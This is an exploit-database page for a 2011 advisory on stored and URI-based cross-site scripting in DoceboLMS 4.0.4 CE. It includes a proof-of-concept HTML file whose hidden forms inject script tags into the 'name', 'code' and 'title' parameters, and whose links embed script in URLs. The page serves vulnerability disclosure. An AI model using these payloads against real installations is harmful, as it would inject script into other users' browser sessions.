DoceboLMS 4.0.4 Multiple Stored XSS Vulnerabilities

vendor:

DoceboLMS

by:

Gjoko 'LiquidWorm' Krstic

7.5

CVSS

HIGH

Multiple Stored XSS Vulnerabilities

CWE

Product Name: DoceboLMS

Affected Version From: 4.0.4 CE

Affected Version To: 4.0.4 CE

Patch Exists: NO

Related CWE: N/A

CPE: a:docebo:docebolms:4.0.4_ce

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Microsoft Windows XP Professional SP3 (EN), Apache 2.2.14 (Win32), PHP 5.3.1, MySQL 5.1.41

2011

DoceboLMS 4.0.4 Multiple Stored XSS Vulnerabilities

DoceboLMS suffers from multiple stored XSS vulnerabilities pre and post auth. Input thru the POST parameters 'name', 'code' and 'title' in index.php is not sanitized allowing the attacker to execute HTML code into user's browser session on the affected site. URI based XSS vulnerabilities are also present.

Mitigation:

Input validation and sanitization should be done for all user input.

Source

Exploit-DB raw data:

<!--

DoceboLMS 4.0.4 Multiple Stored XSS Vulnerabilities


Vendor: Docebo
Product web page: http://www.docebo.org
Affected version: 4.0.4 CE

Summary: DoceboLMS is a SCORM compliant Open Source e-Learning
platform used in corporate, government and education markets.

Desc: DoceboLMS suffers from multiple stored XSS vulnerabilities
pre and post auth. Input thru the POST parameters 'name', 'code'
and 'title' in index.php is not sanitized allowing the attacker
to execute HTML code into user's browser session on the affected
site. URI based XSS vulnerabilities are also present.

Tested on: Tested on: Microsoft Windows XP Professional SP3 (EN)
           Apache 2.2.14 (Win32)
           PHP 5.3.1
           MySQL 5.1.41

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            liquidworm gmail com


Advisory ID: ZSL-2011-5006
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5006.php


02.04.2011

-->


<html>
<title>DoceboLMS 4.0.4 Multiple Stored XSS Vulnerabilities</title>
<body bgcolor="#1C1C1C">
<script type="text/javascript">
function xss1(){document.forms["xss1"].submit();}
function xss2(){document.forms["xss2"].submit();}
</script>

<br /><br />

<form action="http://localhost/DoceboLMS_404/doceboCore/index.php?modname=preassessment&op=modassessment" enctype="application/x-www-form-urlencoded" method="POST" id="xss1">
<input type="hidden" name="authentic_request" value="23dfee506a748201730ab2bb7486e77a" />
<input type="hidden" name="code" value='"><script>alert(1)</script>' />
<input type="hidden" name="description" value="ZSL" />
<input type="hidden" name="id_assess" value="0" />
<input type="hidden" name="name" value='"><script>alert(2)</script>' />
<input type="hidden" name="save" value="Save changes" /></form>
<a href="javascript: xss1();" style="text-decoration:none">
<b><font color="red"><center><h3>Exploit PreAssessment Module!</h3></center></font></b></a><br /><br />

<form action="http://localhost/DoceboLMS_404/doceboCore/index.php?modname=news&op=savenews" enctype="application/x-www-form-urlencoded" method="POST" id="xss2">
<input type="hidden" name="authentic_request" value="23dfee506a748201730ab2bb7486e77a" />
<input type="hidden" name="language" value="2" />
<input type="hidden" name="long_desc" value="" />
<input type="hidden" name="news" value="Insert" />
<input type="hidden" name="short_desc" value="ZSL" />
<input type="hidden" name="title" value='"><script>alert(1)</script>' /></form>
<a href="javascript: xss2();" style="text-decoration:none">
<b><font color="red"><center><h3>Exploit News Module!</h3></center></font></b></a><br /><br />

<a href="http://localhost/DoceboLMS_404/index.php?<script>alert(1)</script>" style="text-decoration:none">
<b><font color="red"><center><h3>Exploit URI XSS #1</h3></center></font></b></a><br /><br />

<a href="http://localhost/DoceboLMS_404/?<script>alert(1)</script>" style="text-decoration:none">
<b><font color="red"><center><h3>Exploit URI XSS #2</h3></center></font></b></a><br /><br />

<a href="http://localhost/DoceboLMS_404/docebolms/index.php/index.php?<script>alert(1)</script>" style="text-decoration:none">
<b><font color="red"><center><h3>Exploit URI XSS #3</h3></center></font></b></a><br /><br />

<a href="http://localhost/DoceboLMS_404/docebolms/?<script>alert(1)</script>" style="text-decoration:none">
<b><font color="red"><center><h3>Exploit URI XSS #4</h3></center></font></b></a><br /><br />

</body></html>